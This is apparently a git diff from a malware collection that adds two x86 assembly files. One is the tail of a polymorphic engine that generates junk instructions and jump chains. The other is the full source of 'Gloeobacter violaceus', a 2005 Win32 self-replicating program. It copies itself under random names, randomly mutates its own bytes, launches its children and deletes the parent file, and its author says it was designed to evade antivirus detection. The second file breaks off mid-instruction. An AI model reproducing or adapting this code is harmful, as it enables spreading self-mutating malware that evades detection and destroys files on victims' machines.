portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash + mov ax,0C483h + stosw + mov al,04 + jmp _iprendtrash_ +;-------------------------------------------------------------------------------------------------------- +_pop__reg1_: + mov al,58h + add al,bh + +_iprendtrash_: + stosb + pop eax + call gen_trash + ret +;=======================================[POP reg1]======================================================= + + + + + +;=======================================[PUSH imm]======================================================= +instr___push__imm: + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash +;-------------------------------------------------------------------------------------------------------- + push 2 ;PUSH imm + call [edx].rgen_addr ;MOV reg2,imm PUSH reg2 ? + test eax,eax + je _push__imm_ +;-------------------------------------------------------------------------------------------------------- +_mov__reg2_imm___push__reg2_: + mov al,0B8h + add al,bl + stosb + mov eax,ecx + stosd + pop eax + call gen_trash + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash + + mov al,50h + add al,bl + stosb + jmp _ipiendtrash_ +;-------------------------------------------------------------------------------------------------------- +_push__imm_: + mov al,68h + stosb + mov eax,ecx + stosd + +_ipiendtrash_: + pop eax + call gen_trash + ret +;=======================================[PUSH imm]======================================================= + + + + + +;=====================================[ADD reg1,imm]===================================================== +instr___add__reg_imm: + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash + mov al,81h + stosb +;-------------------------------------------------------------------------------------------------------- + push 2 ;ADD reg1,imm + call [edx].rgen_addr ;SUB reg1,-imm ? + imul eax,28h + add al,0C0h + add al,bh + stosb +;-------------------------------------------------------------------------------------------------------- + mov dword ptr [ebp-24],edi + xor eax,eax + stosd + pop eax + call gen_trash + ret +;=====================================[ADD reg1,imm]===================================================== + + + + + +;=====================================[MOV reg2,imm]===================================================== +instr___mov__reg_imm: + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash +;-------------------------------------------------------------------------------------------------------- + push 2 ;MOV reg2,imm + call [edx].rgen_addr ;PUSH imm POP reg2 ? + test eax,eax + je _mov__reg_imm_ +;-------------------------------------------------------------------------------------------------------- +_push__imm___pop__reg_: + mov al,68h + stosb + mov dword ptr [ebp-28],edi + xor eax,eax + stosd + pop eax + call gen_trash + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash + mov al,58h + add al,bl + stosb + jmp _mriendtrash_ +;-------------------------------------------------------------------------------------------------------- +_mov__reg_imm_: + mov al,0B8h + add al,bl + stosb + mov dword ptr [ebp-28],edi + xor eax,eax + stosd +_mriendtrash_: + pop eax + call gen_trash + ret +;=====================================[MOV reg2,imm]===================================================== + + + + + +;===============================[ADD/SUB/XOR [reg1],reg2]================================================ +instr___addxorsub__addrreg_reg: + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + mov dword ptr [ebp-32],edi + call gen_trash +;-------------------------------------------------------------------------------------------------------- + push 3 ;ADD, SUB, XOR ? + call [edx].rgen_addr + mov dword ptr [ebp-36],eax +;-------------------------------------------------------------------------------------------------------- + cmp al,1 + jl _xor01_ + jg _sub01_ +_add01_: + jmp _n001_ +_sub01_: + mov al,29h + jmp _n001_ +_xor01_: + mov al,31h +_n001_: + stosb + mov al,bl + shl eax,3 + add al,bh + stosb + pop eax + call gen_trash + ret +;===============================[ADD/SUB/XOR [reg1],reg2]================================================ + + + + + +;================================[ADD/SUB/XOR reg2,imm]================================================== +instr___addxorsub__reg_imm: + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash +;-------------------------------------------------------------------------------------------------------- + mov al,81h + stosb +;-------------------------------------------------------------------------------------------------------- + push 3 ;ADD, SUB, XOR ? + call [edx].rgen_addr + mov dword ptr [ebp-44],eax + cmp al,1 + mov al,bl ;reg2 + jl _xor02_ + jg _sub02_ +_add02_: + add al,0C0h + jmp _n002_ + +_sub02_: + add al,0E8h + jmp _n002_ + +_xor02_: + add al,0F0h + +_n002_: + stosb + mov dword ptr [ebp-40],edi + xor eax,eax + stosd + pop eax + call gen_trash + ret +;================================[ADD/SUB/XOR reg2,imm]================================================== + + + + + +;======================================[DEC reg1]======================================================== +instr___dec__reg: + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash +;-------------------------------------------------------------------------------------------------------- + push 2 ;DEC reg1 + call [edx].rgen_addr ;SUB reg1,1 ? + test eax,eax + je _dec__reg1_ +;-------------------------------------------------------------------------------------------------------- +_sub__reg1_1_: + mov al,83h + stosb + mov al,0E8h + add al,bh + stosb + mov al,1 + jmp _idrendtrash_ +;-------------------------------------------------------------------------------------------------------- +_dec__reg1_: + mov al,bh ;reg1 + add al,48h +_idrendtrash_: + stosb + pop eax + call gen_trash + ret +;======================================[DEC reg1]======================================================== + + + + + +;=================================[DEC [esp] JNE imm]================================================== +instr___dec__addresp: + push portion + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash +;-------------------------------------------------------------------------------------------------------- + push 2 ;DEC [esp] + call [edx].rgen_addr ;SUB [esp],1 ? + test eax,eax + je _dec__addresp_ +;-------------------------------------------------------------------------------------------------------- +_sub__addresp_1_: + mov eax,01242C83h + stosd + jmp _jne__imm_ + +_dec__addresp_: + mov ax,0CFFh + stosw + mov al,24h + stosb + +_jne__imm_: ;JNE imm + push ecx + mov ecx,edi + mov ax,850Fh + stosw + + sub ecx,dword ptr [ebp-32] + add ecx,6 + neg ecx + xchg eax,ecx + stosd + pop ecx + pop eax + call gen_trash + ret +;=====================================[DEC [esp] JNE imm]============================================== + + + + + + + +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; goto_free_addr +;, , ( ) +;: +;eax - ( ), +;: +;edi - +; ( ) +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +goto_free_addr: + push eax + call get_free_addr ; , ( ) + push eax + jnc _nojmp_ ;, ? + push edi ; , , jmp'a + sub edi,eax + inc edi + inc edi + mov eax,edi +_abs01_: + neg eax + js _abs01_ +_jmpshort0xEB_: + cmp eax,80h + jae _jmpnear0xE9_ + neg edi + xchg edi,dword ptr [esp] + mov al,0EBh + stosb + pop eax + stosb + jmp _nextgfa_ + +_jmpnear0xE9_: + add edi,3 + neg edi + xchg edi,dword ptr [esp] + mov al,0E9h ; jmp + stosb + pop eax + stosd +_nextgfa_: + ;mov eax,min_portion + push min_portion + call [edx].rgen_addr ;!!!!! + call gen_trash ; shit + +_nojmp_: + pop edi + pop eax + ret ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; goto_free_addr +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + + + + + +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; get_free_addr +; +;: +;(+) +;: +;(+) +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +get_free_addr: + push edi ;[esp+12] + push esi ;[esp+08] + push ecx ;[esp+04] + push eax ;[esp+00] + +_new_addr_: + push num_steps ;30 + pop esi ; +_find_free_addr_: + dec esi + je _correct_new_addr_ ; (.. ), , ( ) + push max_portion ; , + call [edx].rgen_addr + add eax,dword ptr [ebp-16] ; , + xchg eax,edi + mov ecx,dword ptr [esp] ; ecx , ( + ( )) + add ecx,size_general_instr+5+4+2+min_portion + xor eax,eax + push edi + repe scasb ; , ? + pop edi + jne _find_free_addr_ ; , + stosd ; , edi (edi+=4, ) + jmp _ok_new_addr_ ; +_correct_new_addr_: + add dword ptr [ebp-16],min_portion;+1 ; + jmp _new_addr_ +_ok_new_addr_: + push edi + cmp edi,dword ptr [esp+4+12] ; , , , jmp + jle _jc_ok_ + push size_general_instr+5+4+2+min_portion + pop ecx ;, , , jmp , + std + xor eax,eax + repe scasb + cld + je _jc_ok_ ; , jmp + cmp edi,dword ptr [esp+4+12] + jg _jc_ok_ + mov edi,dword ptr [esp+4+12] + mov eax,dword ptr [esp] + sub eax,edi + call gen_trash + clc + jmp _getfaret_ + +_jc_ok_: + stc + +_getfaret_: + pop eax + pop ecx + pop ecx + pop esi + pop edi + ret ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; get_free_addr +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + + + + + +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; gen_trash +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +gen_trash: + mov [ebp].buf_for_trash,edi + mov [ebp].size_trash,eax + mov [ebp].regs,ebx + push ebp + call [edx].tgen_addr + xchg eax,edi + ret +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; gen_trash +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + + + + + +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; gen_reg +; ( ) +;: +;bh - reg1 +;bl - reg2 +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +gen_reg: +_gen_reg1_: + call random_reg + cmp al,4 + je _gen_reg1_ + cmp al,5 + je _gen_reg1_ + xchg eax,ebx +_gen_reg2_: + call random_reg + cmp al,4 + je _gen_reg2_ + cmp al,5 + je _gen_reg2_ + cmp al,bl + je _gen_reg2_ + mov bh,al + ret +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; gen_reg +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + + + + + +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; +;: +;eax - +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +random_reg: + push 8 + call [edx].rgen_addr + ret +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +; random_reg +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + + + + + +;======================================================================================================== +FINESize equ $ - FINE + diff --git a/Engines/Virus.Win32.Gv.ASM b/Engines/Virus.Win32.Gv.ASM new file mode 100644 index 00000000..fc02a3b9 --- /dev/null +++ b/Engines/Virus.Win32.Gv.ASM @@ -0,0 +1,673 @@ + Gloeobacter violaceus + by Second Part To Hell/[rRlf] + www.spth.de.vu + spth@priest.com + written in May 2005 + in Austria + + I proudly present my very first real Win32 Project. + Before anything else I have to say that this is neighter a real virus + nor a real engine. It is a program emulating the nature's mutations. + + I would descripe it as a primitive artificial life form. + + How does it work? + 1) When executed, it get's the own filename and the parent's filename + 2) It sleeps for 1500 + (0..4095) milliseconds + 3) It copies itself to a random filename in the current directory + 4) 1/4 it mutates: + - Point Mutation: ~68.75% + - Chromosome Mutation: + * Chromosome Inversation + * Chromosome Translocation + * Chromosome Delection + * Chromosome Dublication + * Chromosome Inseration + 5) It executes the new file + 6) With a chance of ~50% it jmps to 2 + 7) It deletes the partent's file + 8) It exits it's own process + + Where the hell can you see a primitive artificial life form? + + Well, we can also say, that the project behaves like that: + + 1) Birth of the lifeform + 2) Growing up until it can replicate itself + 3/4) Replicate - there may happen mistakes while replicating + 5) Birth of the child + 6) Maybe it makes another child?! + 7) Give me more space - Remove the corpse of the parent + 8) Death of the lifeform + + About the name: I've thought long time about a suitable name, + and I think I got a right one: 'Gloeobacter violaceus' are very simple + bacteria, and also one of the very first life form on our world. + + With this code I've (more than) partly realized my idea, which I've + written down in the article "Code Evolution: Follow nature's example", and + I think I've succeded. + + Now let me write some lines about it's behaviour when it's executed: + First I have to say that every mutation may kill the children. But nevermind, + the same also happens in nature. As I have tested it very well, I've been faced + with some strange mutations. Let me tell you some: The filename of the child + was not .exe but something else; sometimes the DOS-Box opened (when the MZ was + deleted or changed, Windows wanted to run it as a .COM); and the maybe stranges + thing ever happend while testing was the creation of two file called 'v' and ' '. + One is 1kB and one is 500kB, I can neighter read, overwrite, delete or do anything + else with them. And furthermore they have no arguments as creation-time. They are + just lost space at my HD, but who cares, I dont need these 501kB :) + + My intention in writing this code was, beside of creating an artificial life form, + making a technique, which CAN NOT be fully detect by AVs. Reason: Every BIT (!) + can be changed, and there is no way to find out, how the whole code is changed. + + As even the body of the code may be changed, this could also be called metamorphism. + But I would not call it 'metamorph', as everything is random (the code don't 'know' + what it does). + + Thanks goes to BlueOwl and Dr3f, who helped me with some problems with Win32 APIs. + + For compiling: + Delete the into (this!) and use 'flat assembler 1.56'. + + + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Gloeobacter violaceus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +include '..\FASM\INCLUDE\win32ax.inc' + +.data +systemtime_struct: ; for random number + dw 0 ; wYear + dw 0 ; wMonth + dw 0 ; wDayOfWeek + dw 0 ; wDay + dw 0 ; wHour + dw 0 ; wMinute + dw 0 ; wSecond +rnd: dw 0 ; wMilliseconds + +rand_name_buffer: ; The random-engine fills this buffer with 8 random (0-255) bytes + times 8 db 0 + +rnd_file_name: ; This will contain the filename of the new child + times 8 db 0 + db '.exe',0 + +current_file_value: ; Will contain the current running filename + times 8 db 0 + db '.exe',0 + +parent_file dd 0x0 ; Buffer for pointer to the parent-file-name +current_file dd 0x0 ; Buffer for pointer to the current running file +file_handle dd 0x0 +file_size dd 0x0 +map_pointer dd 0x0 +map_handle dd 0x0 +change_byte_offset dd 0x0 +change_byte_value db 0x0 + +StartUp_struct: + StartUp_struct_cb dd 0 + StartUp_struct_lpReserved dd 0 + StartUp_struct_lpDesktop dd 0 + StartUp_struct_lpTitle dd 0 + StartUp_struct_dwX dd 0 + StartUp_struct_dwY dd 0 + StartUp_struct_dwXSize dd 0 + StartUp_struct_dwYSize dd 0 + StartUp_struct_dwXCountChars dd 0 + StartUp_struct_dwYCountChars dd 0 + StartUp_struct_dwFillAttribute dd 0 + StartUp_struct_dwFlags dd 0 + StartUp_struct_wShowWindow dw 0 + StartUp_struct_cbReserved2 dw 0 + StartUp_struct_lpReserved2 dd 0 + StartUp_struct_hStdInput dd 0 + StartUp_struct_hStdOutput dd 0 + StartUp_struct_hStdError dd 0 + + +ProcessInfo_Struct: + PROCESS_INFORMATION_hProcess dd 0 + PROCESS_INFORMATION_hThread dd 0 + PROCESS_INFORMATION_dwProcessId dd 0 + PROCESS_INFORMATION_dwThreadId dd 0 + + + +.code + start: + invoke GetCommandLine ; Get the name of the current file + + cmp byte [eax], '"' ; Compare if first byte is ". As GetCommandLine could be ["filename"] or [filename] + jne got_my_name ; If no ", then we already have it + + ;;; FIRST EXECUTION ;;; + + inc eax ; Delete first " + mov ebx, eax ; Save the pointer + get_my_name: + inc ebx ; Get next byte + cmp byte [ebx], '.' ; Compare the value with a dot + jne get_my_name ; If not equal, get next letter of the filename + + add ebx, 4 ; Get the pointer of the second " + mov byte [ebx], 0x0 ; Del the second " + sub ebx, 4 ; Go back to the dot + get_my_name2: + dec ebx ; Previous letter + cmp byte [ebx], '\' ; Check if it's the end of the path (=filestart-1) + jne get_my_name2 ; if not, get another letter + + inc ebx ; delete the '\' + mov eax, ebx ; eax=ebx=pointer to start of currentfilename + + ;;; END FIRST EXECUTION ;;; + + got_my_name: + mov byte [eax+12], 0x0 ; make a NULL-terminated string + mov [current_file], eax ; Save the filename of the current running process + + add eax, 13 ; Point to the first letter of the parent + mov [parent_file], eax ; Save the pointer to the parent + + call random_number ; Get random number + mov ecx, [rand_name_buffer] ; Move a random number to ecx + and ecx, 1 ; Random number between 0 and 1: New counter + + add ecx, 1 ; ecx++ (counter: 1 or 2 childs) + +create_next_child: + push ecx ; Save the counter + + call random_number ; Renew random numbers + mov ebp, 1500 ; ebp=1500 + mov eax, [rand_name_buffer] ; eax=random number + and eax, 4095 ; eax=0000 0000 0000 0000 0000 ???? ???? ???? + add ebp, eax ; ebp=1500+(0..4095) + invoke Sleep, ebp ; Sleep 1500+(0..4095) ms + + call get_n_save_random_name ; Get a random filename + invoke CopyFile, [current_file], rnd_file_name, 0 ; Copy current file to new file with random name + + call random_number ; Get new random number + mov ax, [rand_name_buffer] ; Get them from buffer + xor ah, al ; compain 2 bytes + and ah, 3 ; ???? ???? -> 0000 00?? + cmp ah, 2 ; ah=0000 0010? + je evolution ; If yes -> evolution + noevolution: ; Code continues here after mutation, if there where any + call birthofchild ; Make the child living! + pop ecx ; Another child? +loop create_next_child ; If counter>1, create new child! + + cmp [parent_file], 0x0 ; Compare if parent_file = 0 (first execution?) + je Death ; If so, no parent killing, as there is no parent! + + invoke DeleteFile, [parent_file] ; Kill the parent! (sorry mum, sorry dad :D) + + Death: + invoke ExitProcess, 0 ; Close current process: Death! :) + +birthofchild: + mov esi, [current_file] ; esi=pointer to current file name + mov edi, current_file_value ; edi=pointer to buffer for current file name + mov ecx, 8 ; counter: 8 bytes to copy + rep movsb ; Move ecx byte from [esi] to [edi] + + mov byte [current_file_value-1], 0x20 ; Delete the 0x0 + invoke CreateProcess, 0x0, rnd_file_name, 0x0, 0x0, FALSE, 0x0, 0x0, 0x0, StartUp_struct, ProcessInfo_Struct ; Create child-process + mov byte [current_file_value-1], 0x0 ; Reset the 0x0 +ret + +random_number: + pop edi ; Get value of stack + push edi ; Back to the stack + mov ecx, 8 ; ecx=counter + mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random + mov dl, 0x87 ; same as dh + random_name_loop: + push dx ; Save dx at stack + push ecx ; Save counter at stack + call random_byte ; Random number in al + pop ecx ; get counter + xor al, cl ; Counter influences pseudo random number + pop dx ; Get dx + push ecx + xor dx, cx ; Counter influences influncing number + add dh, al ; Random number influences influencing number + sub dl, al ; Same as dh + neg dl ; Neg dl + xor dl, dh ; dl XOR dh -> more variability + xor al, dl ; random number changes + sub ax, di ; value of stack influences random number + add ax, dx ; ax+dx + mov dl, [rand_name_buffer+ecx-2] + mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ????? + sub al, dl ; al-=dl + add al, dh ; al+=dh + mov ah, dl ; ah=dl + push ax ; AX to stack + mov cl, 1 ; cl=1 + or dh, cl ; dh is at least 1 (to reduce chance of result=zero) + mul dh ; AL=AX*DH + pop cx ; CX=old AX + push cx ; To stack again + add cl, al ; CL+=AL + sub cl, ah ; CL-=AH + xchg al, cl ; AL=CL + mov cx, bp ; cx=bp + mul cl ; AX=AL*CL + neg ah ; NEG AH + xor al, ah ; xor AL and AH + pop cx ; get old AX + sub cl, al ; SUB + add cl, dl ; cl+=old random number + sub al, cl ; al ~=random :) + pop ecx ; Get counter + mov [rand_name_buffer+ecx-1], al ; Save random letter + loop random_name_loop + +ret + +random_name: + call random_number ; Get 8 random bytes + mov ecx, 8 ; counter=8, as we want to do it 8 times + + changetoletter: + mov al, [rand_name_buffer+ecx-1] ; Get a letter + mov bl, 10 ; BL=10 + xor ah, ah ; AX: 0000 0000 ???? ???? + div bl ; AL=rnd/10=number between 0 and 25 + add al, 97 ; Add 97 for getting lowercase letters + mov [rnd_file_name+ecx-1], al ; Save random letter + loop changetoletter +ret + +random_byte: + invoke GetSystemTime, systemtime_struct ; Get first number + mov ebx, [rnd-2] ; ebx=number + add ebx, edx ; Making it pseudo-independent of time + sub ebx, ecx + xor ebx, eax + xchg bl, bh + pop ecx + push ecx + neg ebx + xor ebx, ecx ; ebx=pseudo-indepentend number + + invoke GetTickCount ; Get second number + xor eax, ecx ; eax=number + neg ax ; Making it pseudo-independent of time + xor eax, edx + xor ah, al + sub eax, ebp + add eax, esi ; eax=pseudo-indepentend number + + xor eax, ebx ; Compain the numbers -> eax + mov ebx, eax ; Save eax + shr eax, 8 ; e-part -> ax + xor ax, bx + xor al, ah ; al=number +ret + +get_n_save_random_name: + mov ebp, 12 ; ebp influences the pseudo-random-number engine too + call random_name ; Get a random name +ret + +evolution: +; invoke MessageBox, 0x0, rnd_file_name, "Code Evolution", 0x0 + + invoke CreateFile, rnd_file_name, 0xC0000000 ,0x1, 0x0, 0x3, 0x0, 0x0 ; Open the new created file + mov [file_handle], eax ; Save the file handle + invoke GetFileSize, [file_handle], file_size ; Get the size of the file + mov [file_size], eax ; Low Filesize returned in eax + invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 ; Create a Map + mov [map_handle], eax ; Save the Map handle + + invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] ; Map view of file + mov [map_pointer], eax ; Save the pointer of file + + call random_number ; Get a random number + mov al, [rand_name_buffer] ; Radom number in al + +; Chances: +; Point-Mutation: ~50%+18.75%=~68.75% +; Each Chromosome Mutation: ~6.25% + + and al, 1 ; al=0000 000? + cmp al, 1 ; Compare with 1 + je pointmutation ; If al=1 then jmp pointmutation (change: ~50%) + + mov al, [rand_name_buffer+4] ; al=new random number + and al, 7 ; al=0000 0??? + + cmp al, 0 ; Compare al with 0 + je chrom_inversation ; If al=0 make Chromosome Inversation + + cmp al, 1 ; Compare al with 1 + je chrom_translocation ; If al=1 make Chromosome Translocation + + cmp al, 2 ; Compare al with 2 + je chrom_delection ; If al=2 make Chromosome Delection + + cmp al, 3 ; Compare al with 3 + je chrom_dublication ; If al=2 make Chromosome Dublication + + cmp al, 4 ; Compare al with 4 + je chrom_inseration ; If al=4 make Chromosome Inseration + + jmp pointmutation ; Otherwise do Pointmutation (Chance ~18.75%) + + endofmutation: + invoke UnmapViewOfFile, [map_pointer] ; Unmap View of File + + invoke CloseHandle, [map_handle] ; Close Map + invoke CloseHandle, [file_handle] ; Close File +jmp noevolution + +pointmutation: ; Mutation: Pointmutation + call random_number ; Renew the random numbers + xor eax, eax ; eax=0 + mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ???? + mov ebx, [file_size] ; ebx=File size + cmp eax, ebx ; comparee Random Number with File Size + jg pointmutation ; If RN>Filesize then get new random number (=byte to change) + + add eax, [map_pointer] ; eax=Byte to change in memory + mov [change_byte_offset], eax ; Save the offset + + mov ah, [eax] ; Get the value of the byte + mov [change_byte_value], ah ; Save it + + mov cl, [rand_name_buffer+5] ; cl=???? ???? + and cl, 7 ; cl=0000 0??? + mov al, 1 ; al=0000 0001 + shl al, cl ; AL= ? <- |0|0|0|0| |0|0|0|1| -- ? + mov esi, [change_byte_offset] ; esi=offset of byte to change + xor [esi], al ; XOR byte with AL +; invoke MessageBox, 0x0, esi, "Point Mutation", 0x0 +jmp endofmutation + +chrom_inversation: ; Mutation: Chromosome Mutation - Inversation + call random_number ; Renew the random numbers + xor eax, eax ; eax=0 + mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ???? + mov ebx, [file_size] ; ebx=Filesize + sub ebx, 16 ; ebx-=16 (As we may change two 8 byte parts) + cmp eax, ebx ; comparee Random number with Filesize-16 + jg chrom_inversation ; If RN>Filesize-16 then get new random number (=place to change) + + add eax, [map_pointer] ; Add the offset of file memory + mov [change_byte_offset], eax ; Save the -to-be-changed- offset + + xor ecx, ecx ; ecx=0 + mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ???? + and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0??? + mov [change_byte_value], cl ; Save cl (=How many bytes to change) + + mov esi, [change_byte_offset] ; ESI=Offset of part 1 + mov edi, rand_name_buffer ; EDI=Offset of Buffer + rep movsb ; part 1 to buffer: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI] + + + xor eax, eax ; eax=0 + mov al, [change_byte_value] ; eax=Counter (start of part 2) + add eax, [change_byte_offset] ; eax+=Offset in memory of part 2 + + xor ecx, ecx ; ecx=0 + mov cl, [change_byte_value] ; ecx=Counter + + mov esi, eax ; ESI=Offset of part 2 + mov edi, [change_byte_offset] ; EDI=Offset of part 1 + rep movsb ; part 2 to part 1: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI] + + + xor ecx, ecx ; ecx=0 + mov cl, [change_byte_value] ; ecx=Counter + mov eax, [change_byte_offset] ; eax=Start of part 1 + add eax, ecx ; eax=Start of part 2 + + mov esi, rand_name_buffer ; ESI=Offset of buffer + mov edi, eax ; EDI=Offset of part 2 + rep movsb ; buffer to part 1 + +; invoke MessageBox, 0x0, "Inversation", "Chromosome Mutation", 0x0 +jmp endofmutation ; Finished Inversation! + +chrom_translocation: + call random_number ; Renew the random numbers + xor eax, eax ; eax=0 + mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ???? + mov ebx, [file_size] ; ebx=Filesize + sub ebx, 8 ; ebx-=8 (As we may change 8 byte) + cmp eax, ebx ; Compare Random number with Filesize-8 + jg chrom_translocation ; If RN>Filesize-8 then get new random number (=place to change) + + add eax, [map_pointer] ; Add the offset of file memory + mov [change_byte_offset], eax ; Save the -to-be-changed- offset + + xor ecx, ecx ; ecx=0 + mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ???? + and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0??? + mov [change_byte_value], cl ; Save cl (=How many bytes to change) + + mov esi, [change_byte_offset] ; ESI=Offset of source + mov edi, rand_name_buffer ; EDI=Offset of Buffer + rep movsb ; Code-Part to buffer: MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI] + + mov ecx, [file_size] ; eax=filesize + add ecx, [map_pointer] ; eax=End of file in memory + sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset + + mov esi, [change_byte_offset] ; esi=Pointer to change byte + xor eax, eax ; eax=0 + mov al, [change_byte_value] ; eax=number of bytes to change + add esi, eax ; esi=Pointer to end of changing in memory + + mov edi, [change_byte_offset] ; edi=Offset of changing + rep movsb + + chrom_trans_loop: ; Get a offset, where to save the part + call random_number ; Renew the random numbers + xor eax, eax ; eax=0 + mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ???? + mov ebx, [file_size] ; ebx=Filesize + sub ebx, 8 ; ebx-=8 (As we may change 8 byte) + cmp eax, ebx ; Compare Random number with Filesize-8 + jg chrom_trans_loop ; If RN>Filesize-8 then get new random number (=place to change) + + add eax, [map_pointer] ; Add the offset of file memory + mov [change_byte_offset], eax ; Save offset of changing + + mov ecx, [map_pointer] ; ecx=Start of file in memory + add ecx, [file_size] ; ecx=End of file in memory + + sub ecx, [change_byte_offset] ; ecx=Bytes after change-place + xor eax, eax ; eax=0 + mov al, [change_byte_value] ; eax=number of bytes to change + sub ecx, eax ; ecx-=number of bytes to change + + mov 